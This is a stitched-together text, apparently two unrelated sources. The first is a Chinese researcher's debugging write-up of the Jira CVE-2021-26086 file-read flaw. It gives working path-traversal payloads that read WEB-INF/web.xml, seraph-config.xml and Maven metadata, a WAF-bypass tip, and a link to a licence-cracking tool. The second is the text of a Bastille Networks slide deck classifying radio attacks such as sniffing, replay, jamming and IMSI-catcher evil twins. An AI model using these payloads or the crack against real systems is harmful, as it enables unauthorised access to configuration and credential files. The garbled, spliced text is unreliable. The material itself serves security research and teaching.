https://community.atlassian.com/t5/Confluence-questions/SSL-errors-with-confluenc https://community.atlassian.com/t5/Jira-Software-questions/why-I-have-got-unconfi https://community.atlassian.com/t5/Jira-Software-questions/We-re-unable-to-confirm https://community.atlassian.com/t5/Jira-Software-questions/The-database-setup-is- 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 4/18 https://gitee.com/pengzhile/atlassian-agent 请⽀持正版 ⼆、漏洞复现调试 这⾥的jira home是我们之前设置过了的,然后把web-inf下⾯的lib添加到库就可以了,我⼀般是 整个⽂件夹直接导⼊。 CVE-2021-26086 受限⽂件读取挖掘分析 参考⽂章: https://tttang.com/archive/1323/ 梅⼦酒师傅的 师傅的⽂章中可能有两处笔误。1、 是对url路径的解析2、jiraloginfilter的问题 https://xz.aliyun.com/t/10444 先放poc set JAVA_OPTS=%JAVA_OPTS% -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend= CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=60222,suspend=n,serv /s/cfx/_/;/WEB-INF/web.xml /s/cfx/_/;/WEB-INF/decorators.xml /s/cfx/_/;/WEB-INF/classes/seraph-config.xml 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 5/18 因为burp抓不到localhost和127.0.0.1的的包,我们得先抓⾃⼰本地ip的包,但是我们之前设置jira 的时候,ip是设置成localhost的,我们在burp上⾯的右上⻆把ip地址更改⼀下,然后host的值也 改⼀下。就可以读取到⽂件了。 这⾥的payload我放为 /s/s3gundo/_/;anythingulike/WEB-INF/web.xml ,具体的分析可以看下 ⾯。 1、 filter的初始化 复习⼀下filter的初始化 /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties 稍加改造/s/everything/_/;anythingulike/WEB-INF/web.xml org.apache.catalina.Valve#invoke ->StandardWrapperValve.invoke StandardWrapperValve ->> + ApplicationFilterFactory : 1、createFilterChain()创 ApplicationFilterFactory ->> ApplicationFilterFactory : 1.1、创建FilterChain并初 ApplicationFilterFactory -->> - StandardWrapperValve : 1.2、返回FilterChain对象 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 6/18 filterchain的初始化,跟进 ApplicationFilterFactory.createFilterChain ⽅法,可以看到从 wrapper中获取的http请求⽅法和路径,并将🐟filtermap中匹配得到的路径与请求⽅法,加⼊到 filterChain中 可以看到urlpattern是/*是肯定会被匹配上的。 org.apache.catalina.core.ApplicationFilterChain#doFilter 匹配得到这些filters 可以看到序号九,第⼗个filter就是后⾯的重点。 2、 Jira的正常访问/WEB-INF/受限 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 7/18 可以看到 org.apache.catalina.core.StandardContextValve#invoke ⽅法中, 在这⾥,应该是会将访问路径中的 ; 进⾏忽略处理,⽐如对于路 径 /s/s3gundo/_/;anythingulike/WEB-INF/web.xml 将会⾸先取 ; 前的 /s/s3gundo/_/ ,再 取 / 后的 /WEB-INF/web.xml ,最后将两者进⾏拼接得到: /s/s3gundo/_//WEB-INF/web.xml 。 因为这⾥传⼊的时候对url做了转发处理,所以将前⾯的 /s/s3gundo 给删去了,得 到 /;anythinulike/WEB-INF/web.xml ,后⾯会讲到。 返回的值是 //WEB-INF/web.xml public static String normalize(String path, boolean replaceBackSlash) { //这⾥ if (path == null) { 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 8/18 return null; } else { String normalized = path; if (replaceBackSlash && path.indexOf(92) >= 0) { normalized = path.replace('\\', '/'); //存在反斜杠就替换为斜杠 } if (!normalized.startsWith("/")) { normalized = "/" + normalized; } boolean addedTrailingSlash = false; if (normalized.endsWith("/.") || normalized.endsWith("/..")) { normalized = normalized + "/"; addedTrailingSlash = true; } while(true) { int index = normalized.indexOf("//"); if (index < 0) { while(true) { index = normalized.indexOf("/./"); if (index < 0) { while(true) { index = normalized.indexOf("/../"); if (index < 0) { if (normalized.length() > 1 && addedTrailingS normalized = normalized.substring(0, norm } return normalized; } if (index == 0) { return null; } int index2 = normalized.lastIndexOf(47, index - 1 normalized = normalized.substring(0, index2) + no } } normalized = normalized.substring(0, index) + normalized. } } normalized = normalized.substring(0, index) + normalized.substrin } } } } 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 9/18 最后经过 normlize 的返回是 /WEB-INF/web.xml 3、 UrlRewriteFilter 这块主要分为两⼤部分,⼀是 org.tuckey.web.filters.urlrewrite.RuleChain#process ,⼆ 是 org.tuckey.web.filters.urlrewrite.RuleChain#handleRewrite 。逐个攻破 先是 process ⽅法: 关键在 org.tuckey.web.filters.urlrewrite.ClassRule#matches(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) ⽅法 中箭头所指向的反射⽅法,matchstr默认为matches,然后得到matchesMethod的⽅法为 public org.tuckey.web.filters.urlrewrite.extend.RewriteMatch com.atlassian.jira.plugin.webresource.CachingResourceDownloadRewriteRule.matches(ja vax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse) ,再将 所需的参数传⼊。 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 10/18 先来来看看匹配的模式 ^/s/(.*)/_/((?i)(?!WEB-INF)(?!META-INF).*) 前⾯的 (?i) 表示是⼀种模式修饰符,i即匹配时不区分⼤⼩写。以前只⻅过放在最后⾯的。 后⾯的 (?!) 表示在那串字符串后⾯的不能是以 web-inf 和 meta-inf 结尾的。 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 11/18 ⾄此,调⽤的堆栈是: matches:53, CachingResourceDownloadRewriteRule (com.atlassian.jira.plugin.webreso invoke:-1, GeneratedMethodAccessor308 (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) matches:119, ClassRule (org.tuckey.web.filters.urlrewrite) matches:101, ClassRule (org.tuckey.web.filters.urlrewrite) doRuleProcessing:83, RuleChain (org.tuckey.web.filters.urlrewrite) process:137, RuleChain (org.tuckey.web.filters.urlrewrite) //上班部分process的 doRules:144, RuleChain (org.tuckey.web.filters.urlrewrite) processRequest:92, UrlRewriter (org.tuckey.web.filters.urlrewrite) doFilter:394, UrlRewriteFilter (org.tuckey.web.filters.urlrewrite) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [10] doFilter:30, CorrelationIdPopulatorFilter (com.atlassian.jira.servermetrics) doFilter:32, AbstractHttpFilter (com.atlassian.core.filters) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) ...(省略) doFilterInternal:115, GzipFilter (com.atlassian.gzipfilter) doFilter:92, GzipFilter (com.atlassian.gzipfilter) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [1] invoke:199, StandardWrapperValve (org.apache.catalina.core) invoke:96, StandardContextValve (org.apache.catalina.core) invoke:493, AuthenticatorBase (org.apache.catalina.authenticator) invoke:206, StuckThreadDetectionValve (org.apache.catalina.valves) invoke:137, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:87, StandardEngineValve (org.apache.catalina.core) 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 12/18 后⾯有的dontProcessAnyMoreRules把ruleIdxToRun赋值为rule.size(),才后⾯就会跳出判断, 不再进⾏匹配。 ⾄此, process ⽅法结束,接下来是 handleRewrite ,这部分主要是请求转发 简单了解⼀下请求转发的作⽤域: 访问受保护⽬录下的资源 requestDispatcher:是服务器的资源封装器,可以封装服务器内部所有资源。 (包括WEB-INF下资源) WEB-INF是受保护⽬录,不能够通过浏览器直接访问 可以通过请求转发去访问 可以看到10-11之间的调⽤堆栈,这⾥具体是对请求进⾏了⼀次转发。 invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) service:343, CoyoteAdapter (org.apache.catalina.connector) service:798, Http11Processor (org.apache.coyote.http11) process:66, AbstractProcessorLight (org.apache.coyote) process:808, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang) 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 13/18 于是接下来对请求直接进⾏了dofilter的操作,从⽽没有经过 org.apache.catalina.core.StandardContextValve#invoke ,个⼈认为请求转发作⽤域延伸到 受保护⽬录下的资源也是因为如此。 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 14/18 这也导致了第⼆次访问是由defaultServlet对资源进⾏的请求,也可以看到这⾥⾯filterconfig⾥⾯ 仍然是存在JiraLoginFilter的,因为在web.xml中就已经配置全路径了 4、 JiraLoginFilter放⾏ 看dofilter⽅法中第⼀⾏,这⾥是函数式接⼝,能够获取到SessionInvalidator并且存在的话,将这 个值符给jiraUserSessionInvalidator这个参数,并执⾏handleSessionInvalidation⽅法。这⾥获取 到存在的变量是 jiraUserSessionTracker ,所以后⾯执⾏的⽅法是 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 15/18 com.atlassian.jira.web.session.currentusers.JiraUserSessionInvalidator#handleSessi onInvalidation 此处session是为空的,因为我们还没有登录,执⾏到finally块,判断完其实这⾥什么都没做。 接下来⾛到选择filter过滤器再进⾏doFilter的⽅法,因为这俩参数都没传,所以会传 seraphHttpAuthFilter参数回去,执⾏他的dofilter⽅法。 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 16/18 ⾛到HttpAuthFilter⽗类的⽅法 看到status为空,所以两个return的块我们也进不去,所以⾛到最后⼀⾏代码继续放⾏。不做未 认证的跳转也返回值,所以最终会交到DefaultServlet的⼿上。 局限 传⼊的解析完之后的参数是/WEB-INF/web.xml,局限也就是在于下⾯部分,会再次去资源进⾏⼀ 个normalize的处理,导致不能跨越web路径进⾏⼀个资源的读取,只能在web的路径之下。 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 17/18 file会将web⽬录的路径和我们请求的绝对路径进⾏拼接 之后再进⾏⼀次normlize的⽅法,在后⾯的getResource⽅法中和web路径进⾏拼接的时候,也就 达不到跨越web路径的⽬的。 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 18/18 修复 对正则进⾏了删改 也就是 WEB-INF 或者 META-INF 的前后有特殊字符,则返回 null; 三、总结 综上,在渗透测试的过程中,有些waf会拦截 ;/ ,在中间填充字符串可绕过某些特征。 ⽂笔很烂,如有错误,请多多指教。 Pattern PATHS_DENIED = Pattern.compile("[^a-zA-Z0-9]((?i)(WEB-INF)|(META-INF))[^a-
pdf
RADIO EXPLOITATION 101 MATT KNIGHT // MARC NEWLIN // BASTILLE NETWORKS CHARACTERIZING//CONTEXTUALIZING//CLASSIFYING RF ATTACKS RADIO EXPLOITATION 101 // BASTILLE NETWORKS WHO ARE THESE GUYS ▸ Matt Knight ▸ Software Engineer and Security Researcher @ ▸ Reverse engineered the LoRa wireless protocol in 2016 ▸ BE & BA from Dartmouth
 ▸ Marc Newlin ▸ Security Researcher @ ▸ Discovered Mousejack vulnerability in 2016 ▸ Finished 3rd in DARPA Spectrum Challenge in 2012 ▸ Finished 2nd in DARPA Shredder Challenge in 2010 matt@ .net @embeddedsec marc@ .net @marcnewlin WIRELESS EXPLOITATION METHODS WIRELESS
 VS.
 WIRED DO
 IT
 LIVE (DEMO) RADIO EXPLOITATION 101 // BASTILLE NETWORKS AGENDA 1. Evolution wired and wireless network attacks 2. RF technical overview 3. Methods of Wireless Exploitation ‣ Techniques, impact, and defenses ‣ Analogues to wired networks ‣ Examples and demos (do it live!) 4. How to apply this information EVOLUTION OF NETWORK SECURITY HISTORICAL BACKGROUND // CONTEXT https://frostedpress.files.wordpress.com/2016/09/4286297.png 1990s Packet sniffing in the http://s202976374.onlinehome.us/ebay/test_equip/analyzers/Dolch_PAC_64_05.jpg NETWORK GENERAL PACKET SNIFFER $8,000+ (in 1990s dollars) Installed on a Dolch lunchbox computer 1998 Packet sniffing in ETHEREAL // WIRESHARK $0 https://blog.wireshark.org/wp-content/uploads/2013/10/ethereal-0.2.0.png 2000s Wireless* sniffing in the *non-802.11 EARLY SDRS >>$100K 2012 Wireless sniffing in RTL 2832 USB STICK $8 (not pictured: promiscuous mode driver) 2017 Wireless sniffing in ALL THE SDRS $8 -> $1150 https://www.nuand.com/blog/wp-content/uploads/2013/05/DSC0063.png https://www.ettus.com/product/details/UB210-KIT https://cdn.sparkfun.com//assets/parts/9/9/5/3/13001-04.jpg https://cdn.itead.cc/media/catalog/product/i/m/im141027001_5__1.jpg http://www.nooelec.com/store/media/catalog/product/cache/1/image/1200x/040ec09b1e35df139433887a97daa66f/n/e/nesdr_mini_1b.jpg https://www.ettus.com/content/images/USRP_B200mini_Front_Diagonal_Large.png ON PROTOCOLS… 1990s Key protocols in the 802.3 802.5 2017 Key protocols in LTE-M GPS 802.5 802.11 WiMax Enocean DMR 802.3 HSPA LTE CDMA GSM Bluetooth Bluetooth LE Z-Wave 802.15.4GPRS EDGEDECT LoRa SIGFOX 802.16 nRF24 NB-IoT RADIO EXPLOITATION 101 // BASTILLE NETWORKS WIRELESS IN 2017 ▸ 802.11 is just one piece of the puzzle ▸ Explosion of IoT and Mobile means… ▸ There’s a PHY for every use case ▸ Licensed and unlicensed spectrum ▸ Embedded systems require compromises http://postscapes.com/internet-of-things-technologies RADIO EXPLOITATION 101 // BASTILLE NETWORKS EMBEDDED TRADEOFFS ▸ Battery powered ▸ Limited user interaction ▸ Lack of crypto ▸ Unsuitable pipes for firmware updates ▸ Performance, UX, cost, and delivery are more important than best practices https://www.thestar.com/content/dam/thestar/yourtoronto/the_fixer/2013/11/08/cyclists_cant_trip_the_light_if_the_sensor_doesnt_work/the_fixer.jpg.size.custom.crop.867x650.jpg Literal embedded systems SECURITY THROUGH OBSCURITY Historical reliance on means… [PIÑATAS] SO WHAT DOES IT TAKE… …TO HACK WIRELESS https://www.youtube.com/watch?v=LY8Wi7XRXCA FIRST ! ENDPOINTS [ SYSTEMS, DATA AT REST ] " NETWORKS [ DATA IN MOTION ] RADIO EXPLOITATION 101 // BASTILLE NETWORKS IP NETWORK SNIFFING IS EASY ▸ Interfacing with an IP network is trivial ▸ Hardware NICs, monitor mode ▸ Known Layer 2 // MAC frame protocols ▸ 802.3 // Ethernet for wired IP traffic ▸ 802.11 // Wi-Fi for wireless IP traffic RADIO EXPLOITATION 101 // BASTILLE NETWORKS WIRELESS* NETWORK SNIFFING IS HARD ▸ Network interface is totally non-trivial ▸ Your Wi-Fi NIC can’t sniff wireless traffic from your home security system
 ▸ Arbitrary Layer 1 // PHYs ▸ There are many ways to make a PHY ▸ 802.11 // Wi-Fi is just one example *non-802.11 SOFTWARE DEFINED RADIO Enter… RADIO EXPLOITATION 101 // BASTILLE NETWORKS SOFTWARE DEFINED RADIO (SDR) ▸ Board with flexible wideband RF frontend ▸ Captures raw radio spectrum ▸ Shuttles RF I/Q samples to DSP or host ▸ Implement arbitrary PHYs in: ▸ Software ▸ FPGA HDL RADIO EXPLOITATION 101 // BASTILLE NETWORKS SDR DOWNSIDES ▸ Requires: ▸ Lots of computing power, power hungry ▸ Complex and esoteric domain knowledge ▸ Left: RTL for one of Matt’s 802.15.4 decoders ▸ Want to learn about SDR and PHYs? Check out our “So You Want to Hack Radios” series from Shmoocon, Troopers, and HITB2017AMS RADIO EXPLOITATION 101 // BASTILLE NETWORKS OPEN SOURCE SOFTWARE RADIO ▸ Vibrant open-source SDR community
 ▸ GNU Radio ▸ Modular signal processing framework ▸ Abstracts away hard math
 ▸ Ossmann and Balint’s video tutorials ▸ Wireless Village here at DEF CON RF CONCEPTS GROSSLY SIMPLIFIED RADIO EXPLOITATION 101 // BASTILLE NETWORKS PHYSICAL LAYER (PHY) ▸ Lowest layer in communication stack
 ▸ In wired protocols: voltage, timing, and wiring defining 1s and 0s ▸ In wireless: patterns of energy being sent over RF medium http://www.tech-faq.com/wp-content/uploads/2009/01/osimodel.png Spectrogram Time Frequency Power (z-axis) a.k.a. “waterfall” RADIO EXPLOITATION 101 // BASTILLE NETWORKS MANIPULATING RF ▸ … is done with a radio
 ▸ Hardware defined ▸ Software defined radio (SDR) RADIO EXPLOITATION 101 // BASTILLE NETWORKS PHY COMPONENTS ▸ Modulation ▸ How digital values are mapped to RF energy
 ▸ RF parameters that can be modulated: ▸ Amplitude ▸ Frequency ▸ Phase ▸ some combination of the above http://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png RADIO EXPLOITATION 101 // BASTILLE NETWORKS HOW TRANSMITTING WORKS Layer 2 (MAC) Layer 1 (PHY) http://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png MAC Frame HW Addresses Sequence Number (other stuff) Layer 3 Frame MAC Frame Preamble Start of Frame Delim. PHY Header + + CRC PHY Frame Modulation (to antenna) Maps 1s and 0s to 
 (electrical phenomena ) RADIO EXPLOITATION 101 // BASTILLE NETWORKS HOW RECEIVING WORKS Layer 2 (MAC) Layer 1 (PHY) MAC Frame HW Addresses Sequence Number (other stuff) Layer 3 Frame (from antenna) PHY State Machine Wait for Preamble Look for SFD (optional) Inspect PHY Header Demodulate N bits Check CRC Present to Layer 2 RADIO EXPLOITATION 101 // BASTILLE NETWORKS KEY CONCEPTS ▸ Radios are state machines ▸ They process environmental inputs ▸ They are deterministic: not magic
 ▸ RF is a lossy analog medium ▸ Developers know this! Radios are resilient ▸ Tons of contention
 ▸ Opportunities for tactical abuse METHODS OF EXPLOITATION CLASSIFYING RF ATTACK METHODS RADIO EXPLOITATION 101 // BASTILLE NETWORKS CLASSIFYING RF ATTACK METHODS ▸ For each attack classification, we’ll show: 1. Method: how the attack is performed 2. Impact: what the attack enables 3. Analogue: equivalent attack on wired/IP network, if one exists 4. Example: A relevant example of this type of attack 5. Proof: demo SNIFFING RECONNAISSANCE // DATA LEAKAGE RADIO EXPLOITATION 101 // BASTILLE NETWORKS SNIFFING OVERVIEW ▸ Method ▸ Capture traffic from nearby networks ▸ Impact ▸ Data loss // leakage ▸ Reconnaissance for further development ▸ Wired Analogue ▸ None! Unique characteristic of RF RADIO EXPLOITATION 101 // BASTILLE NETWORKS SNIFFING APPLIED ▸ Example ▸ Key extraction during ZigBee lock pairing ▸ Keystrokes from unencrypted keyboards ▸ Limitations ▸ Physical range, availability of PHY interface ▸ Demo Scenario RADIO EXPLOITATION 101 // BASTILLE NETWORKS SNIFFING DEMO ▸ HP Classic Wireless Desktop ▸ Unencrypted wireless keyboard ▸ Keystroke sniffing demo
 ▸ Proprietary 2.4 GHz wireless protocol ▸ MOSART Semiconductor transceiver ▸ No encryption ▸ No official protocol documentation ▸ Over-the-air compatible with nRF24L USB dongles WARDRIVING DEVICE DISCOVERY // ATTACK DEVELOPMENT https://media.defcon.org/DEF%20CON%2021/DEF%20CON%2021%20presentations/Balint%20Seeber/DEFCON-21-Balint-Seeber-All-Your-RFz-Are-Belong-to-Me.pdf RADIO EXPLOITATION 101 // BASTILLE NETWORKS WARDRIVING OVERVIEW ▸ Method ▸ Scan for identifying features on a protocol of interest ▸ (Optional) actively beacon to induce traffic ▸ Impact ▸ Discovery of exploitable devices or networks ▸ Wired Analogue ▸ Port scanning, service discovery RADIO EXPLOITATION 101 // BASTILLE NETWORKS WARDRIVING APPLIED ▸ Example ▸ 802.11 AP discovery ▸ Beaconing for a ZigBee network coordinator ▸ Limitations ▸ Physical range, number of channels, easy to spot if defender knows to look for it RADIO EXPLOITATION 101 // BASTILLE NETWORKS WARDRIVING DEMO ▸ 802.15.4 wardriving
 ▸ Killerbee exploitation framework ▸ Crafts broadcast beacon requests ▸ ApiMote hardware radio board ▸ Sends out requests ▸ Records responses from 802.15.4 network coordinators REPLAY DEVICE CONTROL // STATE MANIPULATION http://www.freeiconspng.com/uploads/reload-icon-3.png RADIO EXPLOITATION 101 // BASTILLE NETWORKS REPLAY ATTACK OVERVIEW ▸ Method ▸ Re-transmit a previously captured PHY frame ▸ Impact ▸ Change the state of a device or something on the network ▸ Wired Analogue ▸ Same (replays exists on wired networks too) Ctrl+C Ctrl+V RADIO EXPLOITATION 101 // BASTILLE NETWORKS REPLAY ATTACKS APPLIED ▸ Example ▸ 2017 Dallas tornado emergency siren attack ▸ Limitations ▸ Defeated by freshness (sequence number) or authentication (cryptography/trust) https://www.washingtonpost.com/news/the-intersect/wp/2017/04/09/someone-hacked-every-tornado-siren-in-dallas-it-was-loud/?utm_term=.5b883e3bfade RADIO EXPLOITATION 101 // BASTILLE NETWORKS REPLAY ATTACK DEMO ▸ Fortress Security Safeguard panic button ▸ 433 MHz on-off keying ▸ No freshness or authentication ▸ Raw IQ replay OR decode/resynthesize https://www.amazon.com/Fortress-Security-Safeguard-All-One/dp/B01K4OMDWY/ref=cm_cr_arp_d_product_top?ie=UTF8&th=1 JAMMING DENIAL OF SERVICE // NETWORK STATE DISRUPTION RADIO EXPLOITATION 101 // BASTILLE NETWORKS JAMMING OVERVIEW ▸ Method ▸ Transmit noise or conflicting traffic within target network’s RF channel (same frequency) ▸ Impact ▸ Blocks traffic on network ▸ Network state disruption ▸ Wired Analogue ▸ Denial of Service RADIO EXPLOITATION 101 // BASTILLE NETWORKS JAMMING APPLIED ▸ Example ▸ Home security system jamming ▸ Limitations ▸ Jam detection mechanisms ▸ Self-denial: difficult to simultaneously jam and monitor network traffic RADIO EXPLOITATION 101 // BASTILLE NETWORKS JAMMING DEMO ▸ Home security system jamming
 ▸ 433 MHz on-off keying protocol ▸ Transmit wideband noise at 433 MHz ▸ Device jam detection mechanisms will detect after several seconds, so… SMART JAMMING EVADING DETECTION RADIO EXPLOITATION 101 // BASTILLE NETWORKS DUTY CYCLED JAMMING ▸ Problem: Hardware radios implement “clear channel” detection features to avoid talking over other radios ▸ Sampling CCA is a zero-cost jam detector ▸ Solution: pulse jammer on and off at appropriate rate to evade jam detection functions ▸ Examples: Matt’s done this to defeat 802.15.4 jam detection, but doesn’t know of any public examples http://www.mdpi.com/sensors/sensors-11-03852/article_deploy/html/images/sensors-11-03852f1-1024.png Jammer duty cycle
 must be shorter 
 than this interval RADIO EXPLOITATION 101 // BASTILLE NETWORKS REFLEXIVE JAMMING ▸ Problem: Continuously jamming makes offensive network monitoring hard ▸ Jamming denies both the attacker and the defender ▸ Solution: detect beginning of frame and reflexively jam to target either specific packets or trailing checksums ▸ Examples: Samy Kamkar’s RollJam (left), reflexive jamming built into Killerbee// 802.15.4 ApiMote https://www.wired.com/wp-content/uploads/2015/08/rolljam3.jpg LINK LAYER RESERVATION DENIAL OF SERVICE RADIO EXPLOITATION 101 // BASTILLE NETWORKS LINK LAYER CONGESTION OVERVIEW ▸ Method ▸ Abuse channel reservation features to reserve channel… forever ▸ See 802.11’s virtual carrier sensing ▸ Impact ▸ Denies legitimate Wi-Fi devices access to the RF channel ▸ Wired Analogue ▸ None (virtual carrier sense is unique to wireless protocols) Left: 802.11 MAC header RADIO EXPLOITATION 101 // BASTILLE NETWORKS LINK LAYER CONGESTION APPLIED ▸ Example ▸ No recent examples of a virtual carrier sense abuse attack ▸ Limitations ▸ Network allocation vector constraints ▸ [802.11]: Max 32ms effect per malicious packet $5 attack platform (ESP8266) RADIO EXPLOITATION 101 // BASTILLE NETWORKS LINK LAYER CONGESTION DEMO ▸ 802.11 virtual carrier sense abuse ▸ One-line Scapy script
 ▸ 802.11 frame with: ▸ Empty payload ▸ Maximum frame duration
 ▸ Prevents other 802.11 devices from communicating on the channel *cheers to Bastian Bloessl for original research EVIL TWIN NETWORK MEMBERSHIP // IMPERSONATION // ROUTING RADIO EXPLOITATION 101 // BASTILLE NETWORKS EVIL TWIN OVERVIEW ▸ Method ▸ Impersonate a network participant by assuming its address and configuration ▸ (Optional) actively deny the real thing ▸ Impact ▸ Man in the Middle: Intercept and actively tamper with network traffic ▸ Tamper with routing, if eligible ▸ Wired Analogue ▸ ARP spoofing/cache poisoning https://d1b5h9psu9yexj.cloudfront.net/32/fullsize.jpg http://www.pngpix.com/wp-content/uploads/2016/10/PNGPIX-COM-Beard-PNG-Transparent-Image-2.png (evil facial hair) RADIO EXPLOITATION 101 // BASTILLE NETWORKS EVIL TWIN APPLIED ▸ Example ▸ WiFi Pineapple ▸ IMSI Catchers // Stingrays ▸ Limitations ▸ Defeated by authentication (cryptography/trust) ▸ Attacker may need to deny legitimate twin https://www.wifipineapple.com/assets/img/tetra1.jpg RADIO EXPLOITATION 101 // BASTILLE NETWORKS EVIL TWIN DEMO ▸ 2G GSM/GPRS IMSI catcher/man in the middle
 ▸ Presents as an arbitrary network ▸ Phones downgrade and connect if they believe it’s the best option https://www.wifipineapple.com/assets/img/tetra1.jpg Faraday cage China Mobile FIRMWARE UPDATES PERSISTENCE // ADDED VALUE https://i.ytimg.com/vi/EJqpBlvXn3g/maxresdefault.jpg RADIO EXPLOITATION 101 // BASTILLE NETWORKS FIRMWARE ATTACK OVERVIEW ▸ Method ▸ Modify firmware image to your liking ▸ Deliver it via OTA firmware update mechanism ▸ Impact ▸ “Added value”: modifying device behavior ▸ Persistence ▸ Denial of Service: see BrickerBot ▸ Self-propagation, worm style ▸ Wired Analogue ▸ Endpoint malware, worms, etc. https://i.ytimg.com/vi/EJqpBlvXn3g/maxresdefault.jpg RADIO EXPLOITATION 101 // BASTILLE NETWORKS FIRMWARE ATTACKS APPLIED ▸ Example ▸ Phillips Hue ZigBee Light Link worm ▸ Cesar Cerrudo’s hypothetical traffic light sensor worm (also ZigBee) ▸ Limitations ▸ Defeated by code signing, network encryption, etc. http://www.wisdom.weizmann.ac.il/~eyalro/iotworm/index_files/image011.jpg RADIO EXPLOITATION 101 // BASTILLE NETWORKS FIRMWARE ATTACK DEMO ▸ No demo for this one
 ▸ Check out ZigBee lightbulb worm at http://iotworm.eyalro.net/ ▸ Great paper and video ▸ Best part is firmware signing key recovery through a side channel http://www.wisdom.weizmann.ac.il/~eyalro/iotworm/index_files/image011.jpg PHY LAYER PROTOCOL ABUSE ESCALATION // IDS EVASION // DEVICE FINGERPRINTING http://www.ti.com/lit/ds/symlink/cc2520.pdf RADIO EXPLOITATION 101 // BASTILLE NETWORKS PHYSICAL LAYER ABUSE OVERVIEW ▸ Method ▸ Chipsets implement PHY state machines differently — various degrees of error tolerance ▸ Send transmissions that are not strictly compliant with a receiver’s PHY ▸ Impact ▸ Targeted receiver evasion (IDS evasion) ▸ Device fingerprinting ▸ Wired Analogue ▸ Same (demonstrated on 802.3 chipsets) ▸ Far more practical in RF domain https://www.troopers.de/wp-content/uploads/2013/11/TROOPERS14-Making-and_Breaking-an_802.15.4_WIDS-Sergey_Bratus+Javier_Vazquez+Ryan_Speers.pdf RADIO EXPLOITATION 101 // BASTILLE NETWORKS PHYSICAL LAYER ABUSE APPLIED ▸ Example ▸ 802.15.4 receiver evasion ▸ Limitations ▸ Network participants must be on different chipsets ▸ Not all chipsets are vulnerable RADIO EXPLOITATION 101 // BASTILLE NETWORKS PHYSICAL LAYER ABUSE DEMO ▸ Selectively evasive 802.15.4 packets
 ▸ Transmitter: ApiMote w/ CC2420 ▸ Receivers: ApiMote w/ CC2420
 RZUSB stick w/ AT86RF230 ▸ Both receivers receive everything, until they don’t :) *cheers to River Loop Security, Travis Goodspeed, and Dartmouth for original research NON-EXHAUSTIVE [OBVIOUSLY] CONCLUSIONS CHARACTERIZING WIRELESS ATTACK METHODS RADIO EXPLOITATION 101 // BASTILLE NETWORKS WIRELESS ATTACK METHODS SUMMARY Analogue Complexity Ease of Mitigation Sniffing Unique! Easy Hard Wardriving Port Scanning Easy Hard Replay [same] Easy Moderate Jamming Denial of Service Easy Hard Link Layer Congestion Unique! Moderate Moderate Evil Twin ARP Spoofing Hard Moderate Firmware Attack Malware Hard Moderate PHY Abuse [same] Hard Hard RADIO EXPLOITATION 101 // BASTILLE NETWORKS AS ATTACKERS… ▸ Look for low-hanging fruit first ▸ Unencrypted comms, replay attacks, cleartext key exchanges, etc. ▸ Complexity goes up in a hurry ▸ Bridge your traditional wired//IP network skill set wherever possible RADIO EXPLOITATION 101 // BASTILLE NETWORKS AS ATTACKERS, CONTINUED ▸ Leverage Open Source Intelligence (OSINT): ▸ FCC regulatory filings ▸ Data sheets ▸ It will make your life easy ▸ Marc gave an entire talk on this at HITB2016AMS RADIO EXPLOITATION 101 // BASTILLE NETWORKS AS DEVELOPERS // DEFENDERS… ▸ This is the Golden Age of RF Hacking ▸ Software Defined Radio has been commodity for >5 years ▸ Security Through Obscurity is a naive stance GPS 802.5 DMR 802.3 HSPA LTE CDMA GSM Bluetoo Z-Wave 802.15. GPRS EDGE DECT LoRa SIGFOX 802.16 nRF24 NB-IoT WiMax Enocean 802.11 Bluetoot TIME TO OWN YOUR AIRWAVES RADIO EXPLOITATION 101 // BASTILLE NETWORKS ADDITIONAL RADIO RESOURCES ▸ “So You Want to Hack 